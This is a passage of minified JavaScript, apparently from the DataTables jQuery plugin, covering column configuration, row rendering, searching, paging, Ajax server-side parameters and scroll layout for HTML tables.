var g=b.mData,i=P(g),j=b.mRender?P(b.mRender):null,c=function(a){return"string"===typeof a&&-1!==a.indexOf("@")};b._bAttrSrc=h.isPlainObject(g)&&(c(g.sort)||c(g.type)||c(g.filter));b.fnGetData=function(a,b,c){var d=i(a,b,k,c);return j&&b?j(d,b,a,c):d};b.fnSetData=function(a,b,c){return Q(g)(a,b,c)};"number"!==typeof g&&(a._rowReadObject=!0);a.oFeatures.bSort||(b.bSortable=!1,e.addClass(d.sSortableNone));a=-1!==h.inArray("asc",b.asSorting);c=-1!==h.inArray("desc",b.asSorting);!b.bSortable||!a&&!c?
(b.sSortingClass=d.sSortableNone,b.sSortingClassJUI=""):a&&!c?(b.sSortingClass=d.sSortableAsc,b.sSortingClassJUI=d.sSortJUIAscAllowed):!a&&c?(b.sSortingClass=d.sSortableDesc,b.sSortingClassJUI=d.sSortJUIDescAllowed):(b.sSortingClass=d.sSortable,b.sSortingClassJUI=d.sSortJUI)}function Y(a){if(!1!==a.oFeatures.bAutoWidth){var b=a.aoColumns;Ha(a);for(var c=0,d=b.length;c<d;c++)b[c].nTh.style.width=b[c].sWidth}b=a.oScroll;(""!==b.sY||""!==b.sX)&&Z(a);w(a,null,"column-sizing",[a])}function $(a,b){var c=
aa(a,"bVisible");return"number"===typeof c[b]?c[b]:null}function ba(a,b){var c=aa(a,"bVisible"),c=h.inArray(b,c);return-1!==c?c:null}function ca(a){return aa(a,"bVisible").length}function aa(a,b){var c=[];h.map(a.aoColumns,function(a,e){a[b]&&c.push(e)});return c}function Ia(a){var b=a.aoColumns,c=a.aoData,d=m.ext.type.detect,e,f,g,i,j,h,l,r,q;e=0;for(f=b.length;e<f;e++)if(l=b[e],q=[],!l.sType&&l._sManualType)l.sType=l._sManualType;else if(!l.sType){g=0;for(i=d.length;g<i;g++){j=0;for(h=c.length;j<
h;j++){q[j]===k&&(q[j]=B(a,j,e,"type"));r=d[g](q[j],a);if(!r&&g!==d.length-1)break;if("html"===r)break}if(r){l.sType=r;break}}l.sType||(l.sType="string")}}function hb(a,b,c,d){var e,f,g,i,j,n,l=a.aoColumns;if(b)for(e=b.length-1;0<=e;e--){n=b[e];var r=n.targets!==k?n.targets:n.aTargets;h.isArray(r)||(r=[r]);f=0;for(g=r.length;f<g;f++)if("number"===typeof r[f]&&0<=r[f]){for(;l.length<=r[f];)Ga(a);d(r[f],n)}else if("number"===typeof r[f]&&0>r[f])d(l.length+r[f],n);else if("string"===typeof r[f]){i=0;
for(j=l.length;i<j;i++)("_all"==r[f]||h(l[i].nTh).hasClass(r[f]))&&d(i,n)}}if(c){e=0;for(a=c.length;e<a;e++)d(e,c[e])}}function L(a,b,c,d){var e=a.aoData.length,f=h.extend(!0,{},m.models.oRow,{src:c?"dom":"data",idx:e});f._aData=b;a.aoData.push(f);for(var g=a.aoColumns,i=0,j=g.length;i<j;i++)g[i].sType=null;a.aiDisplayMaster.push(e);b=a.rowIdFn(b);b!==k&&(a.aIds[b]=f);(c||!a.oFeatures.bDeferRender)&&Ja(a,e,c,d);return e}function ma(a,b){var c;b instanceof h||(b=h(b));return b.map(function(b,e){c=
Ka(a,e);return L(a,c.data,e,c.cells)})}function B(a,b,c,d){var e=a.iDraw,f=a.aoColumns[c],g=a.aoData[b]._aData,i=f.sDefaultContent,c=f.fnGetData(g,d,{settings:a,row:b,col:c});if(c===k)return a.iDrawError!=e&&null===i&&(J(a,0,"Requested unknown parameter "+("function"==typeof f.mData?"{function}":"'"+f.mData+"'")+" for row "+b,4),a.iDrawError=e),i;if((c===g||null===c)&&null!==i)c=i;else if("function"===typeof c)return c.call(g);return null===c&&"display"==d?"":c}function ib(a,b,c,d){a.aoColumns[c].fnSetData(a.aoData[b]._aData,
d,{settings:a,row:b,col:c})}function La(a){return h.map(a.match(/(\\.|[^\.])+/g)||[""],function(a){return a.replace(/\\./g,".")})}function P(a){if(h.isPlainObject(a)){var b={};h.each(a,function(a,c){c&&(b[a]=P(c))});return function(a,c,f,g){var i=b[c]||b._;return i!==k?i(a,c,f,g):a}}if(null===a)return function(a){return a};if("function"===typeof a)return function(b,c,f,g){return a(b,c,f,g)};if("string"===typeof a&&(-1!==a.indexOf(".")||-1!==a.indexOf("[")||-1!==a.indexOf("("))){var c=function(a,b,
f){var g,i;if(""!==f){i=La(f);for(var j=0,n=i.length;j<n;j++){f=i[j].match(da);g=i[j].match(U);if(f){i[j]=i[j].replace(da,"");""!==i[j]&&(a=a[i[j]]);g=[];i.splice(0,j+1);i=i.join(".");if(h.isArray(a)){j=0;for(n=a.length;j<n;j++)g.push(c(a[j],b,i))}a=f[0].substring(1,f[0].length-1);a=""===a?g:g.join(a);break}else if(g){i[j]=i[j].replace(U,"");a=a[i[j]]();continue}if(null===a||a[i[j]]===k)return k;a=a[i[j]]}}return a};return function(b,e){return c(b,e,a)}}return function(b){return b[a]}}function Q(a){if(h.isPlainObject(a))return Q(a._);
if(null===a)return function(){};if("function"===typeof a)return function(b,d,e){a(b,"set",d,e)};if("string"===typeof a&&(-1!==a.indexOf(".")||-1!==a.indexOf("[")||-1!==a.indexOf("("))){var b=function(a,d,e){var e=La(e),f;f=e[e.length-1];for(var g,i,j=0,n=e.length-1;j<n;j++){g=e[j].match(da);i=e[j].match(U);if(g){e[j]=e[j].replace(da,"");a[e[j]]=[];f=e.slice();f.splice(0,j+1);g=f.join(".");if(h.isArray(d)){i=0;for(n=d.length;i<n;i++)f={},b(f,d[i],g),a[e[j]].push(f)}else a[e[j]]=d;return}i&&(e[j]=e[j].replace(U,
""),a=a[e[j]](d));if(null===a[e[j]]||a[e[j]]===k)a[e[j]]={};a=a[e[j]]}if(f.match(U))a[f.replace(U,"")](d);else a[f.replace(da,"")]=d};return function(c,d){return b(c,d,a)}}return function(b,d){b[a]=d}}function Ma(a){return D(a.aoData,"_aData")}function na(a){a.aoData.length=0;a.aiDisplayMaster.length=0;a.aiDisplay.length=0;a.aIds={}}function oa(a,b,c){for(var d=-1,e=0,f=a.length;e<f;e++)a[e]==b?d=e:a[e]>b&&a[e]--; -1!=d&&c===k&&a.splice(d,1)}function ea(a,b,c,d){var e=a.aoData[b],f,g=function(c,d){for(;c.childNodes.length;)c.removeChild(c.firstChild);
c.innerHTML=B(a,b,d,"display")};if("dom"===c||(!c||"auto"===c)&&"dom"===e.src)e._aData=Ka(a,e,d,d===k?k:e._aData).data;else{var i=e.anCells;if(i)if(d!==k)g(i[d],d);else{c=0;for(f=i.length;c<f;c++)g(i[c],c)}}e._aSortData=null;e._aFilterData=null;g=a.aoColumns;if(d!==k)g[d].sType=null;else{c=0;for(f=g.length;c<f;c++)g[c].sType=null;Na(a,e)}}function Ka(a,b,c,d){var e=[],f=b.firstChild,g,i,j=0,n,l=a.aoColumns,r=a._rowReadObject,d=d!==k?d:r?{}:[],q=function(a,b){if("string"===typeof a){var c=a.indexOf("@");
-1!==c&&(c=a.substring(c+1),Q(a)(d,b.getAttribute(c)))}},jb=function(a){if(c===k||c===j)i=l[j],n=h.trim(a.innerHTML),i&&i._bAttrSrc?(Q(i.mData._)(d,n),q(i.mData.sort,a),q(i.mData.type,a),q(i.mData.filter,a)):r?(i._setter||(i._setter=Q(i.mData)),i._setter(d,n)):d[j]=n;j++};if(f)for(;f;){g=f.nodeName.toUpperCase();if("TD"==g||"TH"==g)jb(f),e.push(f);f=f.nextSibling}else{e=b.anCells;g=0;for(var o=e.length;g<o;g++)jb(e[g])}if(b=f?b:b.nTr)(b=b.getAttribute("id"))&&Q(a.rowId)(d,b);return{data:d,cells:e}}
function Ja(a,b,c,d){var e=a.aoData[b],f=e._aData,g=[],i,j,h,l,r;if(null===e.nTr){i=c||T.createElement("tr");e.nTr=i;e.anCells=g;i._DT_RowIndex=b;Na(a,e);l=0;for(r=a.aoColumns.length;l<r;l++){h=a.aoColumns[l];j=c?d[l]:T.createElement(h.sCellType);g.push(j);if(!c||h.mRender||h.mData!==l)j.innerHTML=B(a,b,l,"display");h.sClass&&(j.className+=" "+h.sClass);h.bVisible&&!c?i.appendChild(j):!h.bVisible&&c&&j.parentNode.removeChild(j);h.fnCreatedCell&&h.fnCreatedCell.call(a.oInstance,j,B(a,b,l),f,b,l)}w(a,
"aoRowCreatedCallback",null,[i,f,b])}e.nTr.setAttribute("role","row")}function Na(a,b){var c=b.nTr,d=b._aData;if(c){var e=a.rowIdFn(d);e&&(c.id=e);d.DT_RowClass&&(e=d.DT_RowClass.split(" "),b.__rowc=b.__rowc?pa(b.__rowc.concat(e)):e,h(c).removeClass(b.__rowc.join(" ")).addClass(d.DT_RowClass));d.DT_RowAttr&&h(c).attr(d.DT_RowAttr);d.DT_RowData&&h(c).data(d.DT_RowData)}}function kb(a){var b,c,d,e,f,g=a.nTHead,i=a.nTFoot,j=0===h("th, td",g).length,n=a.oClasses,l=a.aoColumns;j&&(e=h("<tr/>").appendTo(g));
b=0;for(c=l.length;b<c;b++)f=l[b],d=h(f.nTh).addClass(f.sClass),j&&d.appendTo(e),a.oFeatures.bSort&&(d.addClass(f.sSortingClass),!1!==f.bSortable&&(d.attr("tabindex",a.iTabIndex).attr("aria-controls",a.sTableId),Oa(a,f.nTh,b))),f.sTitle!=d[0].innerHTML&&d.html(f.sTitle),Pa(a,"header")(a,d,f,n);j&&fa(a.aoHeader,g);h(g).find(">tr").attr("role","row");h(g).find(">tr>th, >tr>td").addClass(n.sHeaderTH);h(i).find(">tr>th, >tr>td").addClass(n.sFooterTH);if(null!==i){a=a.aoFooter[0];b=0;for(c=a.length;b<
c;b++)f=l[b],f.nTf=a[b].cell,f.sClass&&h(f.nTf).addClass(f.sClass)}}function ga(a,b,c){var d,e,f,g=[],i=[],j=a.aoColumns.length,n;if(b){c===k&&(c=!1);d=0;for(e=b.length;d<e;d++){g[d]=b[d].slice();g[d].nTr=b[d].nTr;for(f=j-1;0<=f;f--)!a.aoColumns[f].bVisible&&!c&&g[d].splice(f,1);i.push([])}d=0;for(e=g.length;d<e;d++){if(a=g[d].nTr)for(;f=a.firstChild;)a.removeChild(f);f=0;for(b=g[d].length;f<b;f++)if(n=j=1,i[d][f]===k){a.appendChild(g[d][f].cell);for(i[d][f]=1;g[d+j]!==k&&g[d][f].cell==g[d+j][f].cell;)i[d+
j][f]=1,j++;for(;g[d][f+n]!==k&&g[d][f].cell==g[d][f+n].cell;){for(c=0;c<j;c++)i[d+c][f+n]=1;n++}h(g[d][f].cell).attr("rowspan",j).attr("colspan",n)}}}}function M(a){var b=w(a,"aoPreDrawCallback","preDraw",[a]);if(-1!==h.inArray(!1,b))C(a,!1);else{var b=[],c=0,d=a.asStripeClasses,e=d.length,f=a.oLanguage,g=a.iInitDisplayStart,i="ssp"==y(a),j=a.aiDisplay;a.bDrawing=!0;g!==k&&-1!==g&&(a._iDisplayStart=i?g:g>=a.fnRecordsDisplay()?0:g,a.iInitDisplayStart=-1);var g=a._iDisplayStart,n=a.fnDisplayEnd();
if(a.bDeferLoading)a.bDeferLoading=!1,a.iDraw++,C(a,!1);else if(i){if(!a.bDestroying&&!lb(a))return}else a.iDraw++;if(0!==j.length){f=i?a.aoData.length:n;for(i=i?0:g;i<f;i++){var l=j[i],r=a.aoData[l];null===r.nTr&&Ja(a,l);l=r.nTr;if(0!==e){var q=d[c%e];r._sRowStripe!=q&&(h(l).removeClass(r._sRowStripe).addClass(q),r._sRowStripe=q)}w(a,"aoRowCallback",null,[l,r._aData,c,i]);b.push(l);c++}}else c=f.sZeroRecords,1==a.iDraw&&"ajax"==y(a)?c=f.sLoadingRecords:f.sEmptyTable&&0===a.fnRecordsTotal()&&(c=f.sEmptyTable),
b[0]=h("<tr/>",{"class":e?d[0]:""}).append(h("<td />",{valign:"top",colSpan:ca(a),"class":a.oClasses.sRowEmpty}).html(c))[0];w(a,"aoHeaderCallback","header",[h(a.nTHead).children("tr")[0],Ma(a),g,n,j]);w(a,"aoFooterCallback","footer",[h(a.nTFoot).children("tr")[0],Ma(a),g,n,j]);d=h(a.nTBody);d.children().detach();d.append(h(b));w(a,"aoDrawCallback","draw",[a]);a.bSorted=!1;a.bFiltered=!1;a.bDrawing=!1}}function R(a,b){var c=a.oFeatures,d=c.bFilter;c.bSort&&mb(a);d?ha(a,a.oPreviousSearch):a.aiDisplay=
a.aiDisplayMaster.slice();!0!==b&&(a._iDisplayStart=0);a._drawHold=b;M(a);a._drawHold=!1}function nb(a){var b=a.oClasses,c=h(a.nTable),c=h("<div/>").insertBefore(c),d=a.oFeatures,e=h("<div/>",{id:a.sTableId+"_wrapper","class":b.sWrapper+(a.nTFoot?"":" "+b.sNoFooter)});a.nHolding=c[0];a.nTableWrapper=e[0];a.nTableReinsertBefore=a.nTable.nextSibling;for(var f=a.sDom.split(""),g,i,j,n,l,r,q=0;q<f.length;q++){g=null;i=f[q];if("<"==i){j=h("<div/>")[0];n=f[q+1];if("'"==n||'"'==n){l="";for(r=2;f[q+r]!=n;)l+=
f[q+r],r++;"H"==l?l=b.sJUIHeader:"F"==l&&(l=b.sJUIFooter);-1!=l.indexOf(".")?(n=l.split("."),j.id=n[0].substr(1,n[0].length-1),j.className=n[1]):"#"==l.charAt(0)?j.id=l.substr(1,l.length-1):j.className=l;q+=r}e.append(j);e=h(j)}else if(">"==i)e=e.parent();else if("l"==i&&d.bPaginate&&d.bLengthChange)g=ob(a);else if("f"==i&&d.bFilter)g=pb(a);else if("r"==i&&d.bProcessing)g=qb(a);else if("t"==i)g=rb(a);else if("i"==i&&d.bInfo)g=sb(a);else if("p"==i&&d.bPaginate)g=tb(a);else if(0!==m.ext.feature.length){j=
m.ext.feature;r=0;for(n=j.length;r<n;r++)if(i==j[r].cFeature){g=j[r].fnInit(a);break}}g&&(j=a.aanFeatures,j[i]||(j[i]=[]),j[i].push(g),e.append(g))}c.replaceWith(e);a.nHolding=null}function fa(a,b){var c=h(b).children("tr"),d,e,f,g,i,j,n,l,r,q;a.splice(0,a.length);f=0;for(j=c.length;f<j;f++)a.push([]);f=0;for(j=c.length;f<j;f++){d=c[f];for(e=d.firstChild;e;){if("TD"==e.nodeName.toUpperCase()||"TH"==e.nodeName.toUpperCase()){l=1*e.getAttribute("colspan");r=1*e.getAttribute("rowspan");l=!l||0===l||
1===l?1:l;r=!r||0===r||1===r?1:r;g=0;for(i=a[f];i[g];)g++;n=g;q=1===l?!0:!1;for(i=0;i<l;i++)for(g=0;g<r;g++)a[f+g][n+i]={cell:e,unique:q},a[f+g].nTr=d}e=e.nextSibling}}}function qa(a,b,c){var d=[];c||(c=a.aoHeader,b&&(c=[],fa(c,b)));for(var b=0,e=c.length;b<e;b++)for(var f=0,g=c[b].length;f<g;f++)if(c[b][f].unique&&(!d[f]||!a.bSortCellsTop))d[f]=c[b][f].cell;return d}function ra(a,b,c){w(a,"aoServerParams","serverParams",[b]);if(b&&h.isArray(b)){var d={},e=/(.*?)\[\]$/;h.each(b,function(a,b){var c=
b.name.match(e);c?(c=c[0],d[c]||(d[c]=[]),d[c].push(b.value)):d[b.name]=b.value});b=d}var f,g=a.ajax,i=a.oInstance,j=function(b){w(a,null,"xhr",[a,b,a.jqXHR]);c(b)};if(h.isPlainObject(g)&&g.data){f=g.data;var n=h.isFunction(f)?f(b,a):f,b=h.isFunction(f)&&n?n:h.extend(!0,b,n);delete g.data}n={data:b,success:function(b){var c=b.error||b.sError;c&&J(a,0,c);a.json=b;j(b)},dataType:"json",cache:!1,type:a.sServerMethod,error:function(b,c){var d=w(a,null,"xhr",[a,null,a.jqXHR]);-1===h.inArray(!0,d)&&("parsererror"==
c?J(a,0,"Invalid JSON response",1):4===b.readyState&&J(a,0,"Ajax error",7));C(a,!1)}};a.oAjaxData=b;w(a,null,"preXhr",[a,b]);a.fnServerData?a.fnServerData.call(i,a.sAjaxSource,h.map(b,function(a,b){return{name:b,value:a}}),j,a):a.sAjaxSource||"string"===typeof g?a.jqXHR=h.ajax(h.extend(n,{url:g||a.sAjaxSource})):h.isFunction(g)?a.jqXHR=g.call(i,b,j,a):(a.jqXHR=h.ajax(h.extend(n,g)),g.data=f)}function lb(a){return a.bAjaxDataGet?(a.iDraw++,C(a,!0),ra(a,ub(a),function(b){vb(a,b)}),!1):!0}function ub(a){var b=
a.aoColumns,c=b.length,d=a.oFeatures,e=a.oPreviousSearch,f=a.aoPreSearchCols,g,i=[],j,n,l,r=V(a);g=a._iDisplayStart;j=!1!==d.bPaginate?a._iDisplayLength:-1;var q=function(a,b){i.push({name:a,value:b})};q("sEcho",a.iDraw);q("iColumns",c);q("sColumns",D(b,"sName").join(","));q("iDisplayStart",g);q("iDisplayLength",j);var k={draw:a.iDraw,columns:[],order:[],start:g,length:j,search:{value:e.sSearch,regex:e.bRegex}};for(g=0;g<c;g++)n=b[g],l=f[g],j="function"==typeof n.mData?"function":n.mData,k.columns.push({data:j,
name:n.sName,searchable:n.bSearchable,orderable:n.bSortable,search:{value:l.sSearch,regex:l.bRegex}}),q("mDataProp_"+g,j),d.bFilter&&(q("sSearch_"+g,l.sSearch),q("bRegex_"+g,l.bRegex),q("bSearchable_"+g,n.bSearchable)),d.bSort&&q("bSortable_"+g,n.bSortable);d.bFilter&&(q("sSearch",e.sSearch),q("bRegex",e.bRegex));d.bSort&&(h.each(r,function(a,b){k.order.push({column:b.col,dir:b.dir});q("iSortCol_"+a,b.col);q("sSortDir_"+a,b.dir)}),q("iSortingCols",r.length));b=m.ext.legacy.ajax;return null===b?a.sAjaxSource?
i:k:b?i:k}function vb(a,b){var c=sa(a,b),d=b.sEcho!==k?b.sEcho:b.draw,e=b.iTotalRecords!==k?b.iTotalRecords:b.recordsTotal,f=b.iTotalDisplayRecords!==k?b.iTotalDisplayRecords:b.recordsFiltered;if(d){if(1*d<a.iDraw)return;a.iDraw=1*d}na(a);a._iRecordsTotal=parseInt(e,10);a._iRecordsDisplay=parseInt(f,10);d=0;for(e=c.length;d<e;d++)L(a,c[d]);a.aiDisplay=a.aiDisplayMaster.slice();a.bAjaxDataGet=!1;M(a);a._bInitComplete||ta(a,b);a.bAjaxDataGet=!0;C(a,!1)}function sa(a,b){var c=h.isPlainObject(a.ajax)&&
a.ajax.dataSrc!==k?a.ajax.dataSrc:a.sAjaxDataProp;return"data"===c?b.aaData||b[c]:""!==c?P(c)(b):b}function pb(a){var b=a.oClasses,c=a.sTableId,d=a.oLanguage,e=a.oPreviousSearch,f=a.aanFeatures,g='<input type="search" class="'+b.sFilterInput+'"/>',i=d.sSearch,i=i.match(/_INPUT_/)?i.replace("_INPUT_",g):i+g,b=h("<div/>",{id:!f.f?c+"_filter":null,"class":b.sFilter}).append(h("<label/>").append(i)),f=function(){var b=!this.value?"":this.value;b!=e.sSearch&&(ha(a,{sSearch:b,bRegex:e.bRegex,bSmart:e.bSmart,
bCaseInsensitive:e.bCaseInsensitive}),a._iDisplayStart=0,M(a))},g=null!==a.searchDelay?a.searchDelay:"ssp"===y(a)?400:0,j=h("input",b).val(e.sSearch).attr("placeholder",d.sSearchPlaceholder).bind("keyup.DT search.DT input.DT paste.DT cut.DT",g?ua(f,g):f).bind("keypress.DT",function(a){if(13==a.keyCode)return!1}).attr("aria-controls",c);h(a.nTable).on("search.dt.DT",function(b,c){if(a===c)try{j[0]!==T.activeElement&&j.val(e.sSearch)}catch(d){}});return b[0]}function ha(a,b,c){var d=a.oPreviousSearch,
e=a.aoPreSearchCols,f=function(a){d.sSearch=a.sSearch;d.bRegex=a.bRegex;d.bSmart=a.bSmart;d.bCaseInsensitive=a.bCaseInsensitive};Ia(a);if("ssp"!=y(a)){wb(a,b.sSearch,c,b.bEscapeRegex!==k?!b.bEscapeRegex:b.bRegex,b.bSmart,b.bCaseInsensitive);f(b);for(b=0;b<e.length;b++)xb(a,e[b].sSearch,b,e[b].bEscapeRegex!==k?!e[b].bEscapeRegex:e[b].bRegex,e[b].bSmart,e[b].bCaseInsensitive);yb(a)}else f(b);a.bFiltered=!0;w(a,null,"search",[a])}function yb(a){for(var b=m.ext.search,c=a.aiDisplay,d,e,f=0,g=b.length;f<
g;f++){for(var i=[],j=0,n=c.length;j<n;j++)e=c[j],d=a.aoData[e],b[f](a,d._aFilterData,e,d._aData,j)&&i.push(e);c.length=0;h.merge(c,i)}}function xb(a,b,c,d,e,f){if(""!==b)for(var g=a.aiDisplay,d=Qa(b,d,e,f),e=g.length-1;0<=e;e--)b=a.aoData[g[e]]._aFilterData[c],d.test(b)||g.splice(e,1)}function wb(a,b,c,d,e,f){var d=Qa(b,d,e,f),e=a.oPreviousSearch.sSearch,f=a.aiDisplayMaster,g;0!==m.ext.search.length&&(c=!0);g=zb(a);if(0>=b.length)a.aiDisplay=f.slice();else{if(g||c||e.length>b.length||0!==b.indexOf(e)||
a.bSorted)a.aiDisplay=f.slice();b=a.aiDisplay;for(c=b.length-1;0<=c;c--)d.test(a.aoData[b[c]]._sFilterRow)||b.splice(c,1)}}function Qa(a,b,c,d){a=b?a:va(a);c&&(a="^(?=.*?"+h.map(a.match(/"[^"]+"|[^ ]+/g)||[""],function(a){if('"'===a.charAt(0))var b=a.match(/^"(.*)"$/),a=b?b[1]:a;return a.replace('"',"")}).join(")(?=.*?")+").*$");return RegExp(a,d?"i":"")}function va(a){return a.replace(Yb,"\\$1")}function zb(a){var b=a.aoColumns,c,d,e,f,g,i,j,h,l=m.ext.type.search;c=!1;d=0;for(f=a.aoData.length;d<
f;d++)if(h=a.aoData[d],!h._aFilterData){i=[];e=0;for(g=b.length;e<g;e++)c=b[e],c.bSearchable?(j=B(a,d,e,"filter"),l[c.sType]&&(j=l[c.sType](j)),null===j&&(j=""),"string"!==typeof j&&j.toString&&(j=j.toString())):j="",j.indexOf&&-1!==j.indexOf("&")&&(wa.innerHTML=j,j=Zb?wa.textContent:wa.innerText),j.replace&&(j=j.replace(/[\r\n]/g,"")),i.push(j);h._aFilterData=i;h._sFilterRow=i.join(" ");c=!0}return c}function Ab(a){return{search:a.sSearch,smart:a.bSmart,regex:a.bRegex,caseInsensitive:a.bCaseInsensitive}}
function Bb(a){return{sSearch:a.search,bSmart:a.smart,bRegex:a.regex,bCaseInsensitive:a.caseInsensitive}}function sb(a){var b=a.sTableId,c=a.aanFeatures.i,d=h("<div/>",{"class":a.oClasses.sInfo,id:!c?b+"_info":null});c||(a.aoDrawCallback.push({fn:Cb,sName:"information"}),d.attr("role","status").attr("aria-live","polite"),h(a.nTable).attr("aria-describedby",b+"_info"));return d[0]}function Cb(a){var b=a.aanFeatures.i;if(0!==b.length){var c=a.oLanguage,d=a._iDisplayStart+1,e=a.fnDisplayEnd(),f=a.fnRecordsTotal(),
g=a.fnRecordsDisplay(),i=g?c.sInfo:c.sInfoEmpty;g!==f&&(i+=" "+c.sInfoFiltered);i+=c.sInfoPostFix;i=Db(a,i);c=c.fnInfoCallback;null!==c&&(i=c.call(a.oInstance,a,d,e,f,g,i));h(b).html(i)}}function Db(a,b){var c=a.fnFormatNumber,d=a._iDisplayStart+1,e=a._iDisplayLength,f=a.fnRecordsDisplay(),g=-1===e;return b.replace(/_START_/g,c.call(a,d)).replace(/_END_/g,c.call(a,a.fnDisplayEnd())).replace(/_MAX_/g,c.call(a,a.fnRecordsTotal())).replace(/_TOTAL_/g,c.call(a,f)).replace(/_PAGE_/g,c.call(a,g?1:Math.ceil(d/
e))).replace(/_PAGES_/g,c.call(a,g?1:Math.ceil(f/e)))}function ia(a){var b,c,d=a.iInitDisplayStart,e=a.aoColumns,f;c=a.oFeatures;var g=a.bDeferLoading;if(a.bInitialised){nb(a);kb(a);ga(a,a.aoHeader);ga(a,a.aoFooter);C(a,!0);c.bAutoWidth&&Ha(a);b=0;for(c=e.length;b<c;b++)f=e[b],f.sWidth&&(f.nTh.style.width=u(f.sWidth));w(a,null,"preInit",[a]);R(a);e=y(a);if("ssp"!=e||g)"ajax"==e?ra(a,[],function(c){var f=sa(a,c);for(b=0;b<f.length;b++)L(a,f[b]);a.iInitDisplayStart=d;R(a);C(a,!1);ta(a,c)},a):(C(a,!1),
ta(a))}else setTimeout(function(){ia(a)},200)}function ta(a,b){a._bInitComplete=!0;(b||a.oInit.aaData)&&Y(a);w(a,"aoInitComplete","init",[a,b])}function Ra(a,b){var c=parseInt(b,10);a._iDisplayLength=c;Sa(a);w(a,null,"length",[a,c])}function ob(a){for(var b=a.oClasses,c=a.sTableId,d=a.aLengthMenu,e=h.isArray(d[0]),f=e?d[0]:d,d=e?d[1]:d,e=h("<select/>",{name:c+"_length","aria-controls":c,"class":b.sLengthSelect}),g=0,i=f.length;g<i;g++)e[0][g]=new Option(d[g],f[g]);var j=h("<div><label/></div>").addClass(b.sLength);
a.aanFeatures.l||(j[0].id=c+"_length");j.children().append(a.oLanguage.sLengthMenu.replace("_MENU_",e[0].outerHTML));h("select",j).val(a._iDisplayLength).bind("change.DT",function(){Ra(a,h(this).val());M(a)});h(a.nTable).bind("length.dt.DT",function(b,c,d){a===c&&h("select",j).val(d)});return j[0]}function tb(a){var b=a.sPaginationType,c=m.ext.pager[b],d="function"===typeof c,e=function(a){M(a)},b=h("<div/>").addClass(a.oClasses.sPaging+b)[0],f=a.aanFeatures;d||c.fnInit(a,b,e);f.p||(b.id=a.sTableId+
"_paginate",a.aoDrawCallback.push({fn:function(a){if(d){var b=a._iDisplayStart,j=a._iDisplayLength,h=a.fnRecordsDisplay(),l=-1===j,b=l?0:Math.ceil(b/j),j=l?1:Math.ceil(h/j),h=c(b,j),k,l=0;for(k=f.p.length;l<k;l++)Pa(a,"pageButton")(a,f.p[l],l,h,b,j)}else c.fnUpdate(a,e)},sName:"pagination"}));return b}function Ta(a,b,c){var d=a._iDisplayStart,e=a._iDisplayLength,f=a.fnRecordsDisplay();0===f||-1===e?d=0:"number"===typeof b?(d=b*e,d>f&&(d=0)):"first"==b?d=0:"previous"==b?(d=0<=e?d-e:0,0>d&&(d=0)):"next"==
b?d+e<f&&(d+=e):"last"==b?d=Math.floor((f-1)/e)*e:J(a,0,"Unknown paging action: "+b,5);b=a._iDisplayStart!==d;a._iDisplayStart=d;b&&(w(a,null,"page",[a]),c&&M(a));return b}function qb(a){return h("<div/>",{id:!a.aanFeatures.r?a.sTableId+"_processing":null,"class":a.oClasses.sProcessing}).html(a.oLanguage.sProcessing).insertBefore(a.nTable)[0]}function C(a,b){a.oFeatures.bProcessing&&h(a.aanFeatures.r).css("display",b?"block":"none");w(a,null,"processing",[a,b])}function rb(a){var b=h(a.nTable);b.attr("role",
"grid");var c=a.oScroll;if(""===c.sX&&""===c.sY)return a.nTable;var d=c.sX,e=c.sY,f=a.oClasses,g=b.children("caption"),i=g.length?g[0]._captionSide:null,j=h(b[0].cloneNode(!1)),n=h(b[0].cloneNode(!1)),l=b.children("tfoot");c.sX&&"100%"===b.attr("width")&&b.removeAttr("width");l.length||(l=null);j=h("<div/>",{"class":f.sScrollWrapper}).append(h("<div/>",{"class":f.sScrollHead}).css({overflow:"hidden",position:"relative",border:0,width:d?!d?null:u(d):"100%"}).append(h("<div/>",{"class":f.sScrollHeadInner}).css({"box-sizing":"content-box",
width:c.sXInner||"100%"}).append(j.removeAttr("id").css("margin-left",0).append("top"===i?g:null).append(b.children("thead"))))).append(h("<div/>",{"class":f.sScrollBody}).css({position:"relative",overflow:"auto",width:!d?null:u(d)}).append(b));l&&j.append(h("<div/>",{"class":f.sScrollFoot}).css({overflow:"hidden",border:0,width:d?!d?null:u(d):"100%"}).append(h("<div/>",{"class":f.sScrollFootInner}).append(n.removeAttr("id").css("margin-left",0).append("bottom"===i?g:null).append(b.children("tfoot")))));
var b=j.children(),k=b[0],f=b[1],q=l?b[2]:null;if(d)h(f).on("scroll.DT",function(){var a=this.scrollLeft;k.scrollLeft=a;l&&(q.scrollLeft=a)});h(f).css(e&&c.bCollapse?"max-height":"height",e);a.nScrollHead=k;a.nScrollBody=f;a.nScrollFoot=q;a.aoDrawCallback.push({fn:Z,sName:"scrolling"});return j[0]}function Z(a){var b=a.oScroll,c=b.sX,d=b.sXInner,e=b.sY,b=b.iBarWidth,f=h(a.nScrollHead),g=f[0].style,i=f.children("div"),j=i[0].style,n=i.children("table"),i=a.nScrollBody,l=h(i),k=i.style,q=h(a.nScrollFoot).children("div"),
m=q.children("table"),o=h(a.nTHead),E=h(a.nTable),p=E[0],t=p.style,N=a.nTFoot?h(a.nTFoot):null,Eb=a.oBrowser,w=Eb.bScrollOversize,s,v,O,x,y=[],z=[],A=[],B,C=function(a){a=a.style;a.paddingTop="0";a.paddingBottom="0";a.borderTopWidth="0";a.borderBottomWidth="0";a.height=0};E.children("thead, tfoot").remove();x=o.clone().prependTo(E);o=o.find("tr");v=x.find("tr");x.find("th, td").removeAttr("tabindex");N&&(O=N.clone().prependTo(E),s=N.find("tr"),O=O.find("tr"));c||(k.width="100%",f[0].style.width="100%");
h.each(qa(a,x),function(b,c){B=$(a,b);c.style.width=a.aoColumns[B].sWidth});N&&H(function(a){a.style.width=""},O);f=E.outerWidth();if(""===c){t.width="100%";if(w&&(E.find("tbody").height()>i.offsetHeight||"scroll"==l.css("overflow-y")))t.width=u(E.outerWidth()-b);f=E.outerWidth()}else""!==d&&(t.width=u(d),f=E.outerWidth());H(C,v);H(function(a){A.push(a.innerHTML);y.push(u(h(a).css("width")))},v);H(function(a,b){a.style.width=y[b]},o);h(v).height(0);N&&(H(C,O),H(function(a){z.push(u(h(a).css("width")))},
